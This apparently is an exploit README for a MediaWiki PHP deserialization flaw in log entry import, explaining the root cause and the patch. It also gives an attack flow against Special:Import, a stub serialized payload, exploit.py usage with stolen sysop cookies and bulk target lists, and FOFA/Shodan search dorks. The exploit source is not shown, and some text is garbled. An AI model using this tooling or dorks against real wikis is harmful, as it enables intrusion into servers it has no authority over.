Share
## https://sploitus.com/exploit?id=D4A8A1E1-8995-5B77-9187-A9143100B5F7
CVE-2026-58025 โ€” MediaWiki PHP Deserialization RCE via Log Entry Import
WikiImporter โ†’ LogEntryBase::extractParams() โ†’ unserialize() user-controlled log_params โ†’ RCE

---

## Overview

**CVE-2026-58025** is a critical (CVSS 9.8) deserialization of untrusted data vulnerability in **MediaWiki** (Wikimedia Foundation). The `LogEntryBase::extractParams()` method called `unserialize()` on user-controlled log entry parameters without restricting which PHP classes could be instantiated. An attacker with the `importupload` or `import` right (default: `sysop` group) could craft a malicious XML import file containing serialized PHP objects in `` fields, triggering arbitrary object instantiation and potential remote code execution via gadget chains.

### Affected Versions

| Version Branch | Vulnerable | Patched |
|---|---|---|
| 1.43.x |  **Requirements:** The `import` or `importupload` right (default: `sysop` group). The attacker must be able to upload or import an XML file to MediaWiki's Special:Import.

---

## Vulnerability Mechanism

### Root Cause

`LogEntryBase::extractParams()` in `includes/Logging/LogEntryBase.php` called `unserialize()` directly on the `log_params` blob without any class restriction:

```php
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // โ† user-controlled, no allowed_classes restriction
}
```

This method is called from multiple locations:

| File | Line | Context |
|---|---|---|
| `includes/Logging/DatabaseLogEntry.php` | 187 | `getParameters()` โ€” reading log entries from DB |
| `includes/RecentChanges/RecentChange.php` | 781 | `parseParams()` โ€” parsing recent changes |
| `includes/Import/WikiRevision.php` | 638 | `importLogItem()` โ€” importing log entries from XML |
| `maintenance/purgeChangedFiles.php` | 182 | Maintenance script log parsing |
| `tests/phpunit/maintenance/DumpAsserter.php` | 541 | Test helper |

### Attack Vector

The primary attack vector is **XML import** via `Special:Import`:

1. Attacker (with `import`/`importupload` right) crafts a malicious MediaWiki XML export file
2. The XML contains a `` element with a `` field containing a PHP serialized payload
3. `WikiImporter::processLogItem()` โ†’ `WikiRevision::importLogItem()` stores the log entry
4. When the log entry is later read (via `DatabaseLogEntry::getParameters()`, `RecentChange::parseParams()`, or log display), `LogEntryBase::extractParams()` calls `unserialize()` on the attacker-controlled blob
5. If a suitable gadget chain exists (via installed extensions/vendor libraries), this leads to RCE

### Attack Flow

```
POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  
    
      test
      test
      a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}
    
  

โ†’ WikiImporter::handleLogItem()
โ†’ WikiImporter::processLogItem()
โ†’ WikiRevision::importLogItem() โ†’ stores to DB
โ†’ Later: DatabaseLogEntry::getParameters()
โ†’ LogEntryBase::extractParams( $blob ) โ†’ unserialize( $blob )
โ†’ PHP instantiates GadgetClass object โ†’ __wakeup() / __destruct() gadget chain
โ†’ RCE as www-data
```

### Serialized Payload Format

The `` field in the XML import accepts standard PHP serialized strings. A safe (benign) entry:

```
a:1:{s:3:"foo";s:3:"bar";}
```

A malicious entry containing a serialized object:

```
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
```

When `unserialize()` is called without `allowed_classes` restriction, the object is fully instantiated. With an available gadget chain (e.g., from Composer-installed libraries), this becomes RCE.

---

## The Fix

**Commit:** `60f154d4618063ac4d5832285fc246b8fcd7c72c`
**Author:** Bartosz Dziewoล„ski
**Date:** 2026-06-29

The fix implements multiple layers of defense:

### 1. Restricted `unserialize()` with `allowed_classes`

```php
// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // no classes allowed
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}
```

### 2. New `containsUnsafeParams()` check

Detects `__PHP_Incomplete_Class` instances (objects that were blocked by `allowed_classes`):

```php
public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}
```

### 3. Import gate โ€” `WikiImporter::processLogItem()`

New `logentryimport` permission check (not granted to anyone by default):

```php
private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}
```

### 4. `WikiRevision::importLogItem()` โ€” unsafe params rejection

```php
if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}
```

### 5. `UnsafeLogFormatter` โ€” safe display of existing malicious entries

New `UnsafeLogFormatter` class replaces the normal formatter for entries containing blocked objects, displaying a placeholder message instead of attempting to format the dangerous data.

### 6. Related fix: CVE-2026-58037

The same research (T422244) also identified that `LogFormatter`'s `raw` parameter type allowed raw HTML output from user-controlled log params. This was fixed in a companion commit by changing `Message::rawParam()` to `Message::plaintextParam()`.

---

## PoC

The included `exploit.py` generates a malicious MediaWiki XML import file containing serialized PHP objects in log entry parameters. It can also fingerprint MediaWiki instances and attempt the import via the API.

```bash
# Generate malicious XML payload
python exploit.py --generate --output payload.xml

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"
```

---

## Installation

```bash
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
```

## Usage

```bash
# Generate malicious XML import file
python exploit.py --generate --output payload.xml

# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check

# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"

# Bulk check
python exploit.py -f targets.txt --check -o results.txt
```

---

## FOFA / Shodan

```
FOFA:   body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"
```

---

## References

- [NVD CVE-2026-58025](https://nvd.nist.gov/vuln/detail/CVE-2026-58025)
- [Phabricator T422244](https://phabricator.wikimedia.org/T422244)
- [Fix Commit (1.43 branch)](https://github.com/wikimedia/mediawiki/commit/60f154d4618063ac4d5832285fc246b8fcd7c72c) โ€” `SECURITY: Safely unserialize log entry parameters`
- [Related fix: CVE-2026-58037](https://github.com/wikimedia/mediawiki/commit/649a8d35e1b72426f11fbdbf19272bd45ef17583) โ€” `LogFormatter: 'raw' parameter format is no longer raw HTML`
- [MediaWiki 1.43.9 Release Notes](https://github.com/wikimedia/mediawiki/commit/50755a861e6e748cf8bac24e8cdd5e83db018081)
- [OSV CVE-2026-58025](https://osv.dev/vulnerability/CVE-2026-58025)
- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
- [CWE-94: Improper Control of Generation of Code](https://cwe.mitre.org/data/definitions/94.html)

---

## Disclaimer

This exploit is provided for educational and authorized security research only. Do not use against systems without explicit permission from the owner.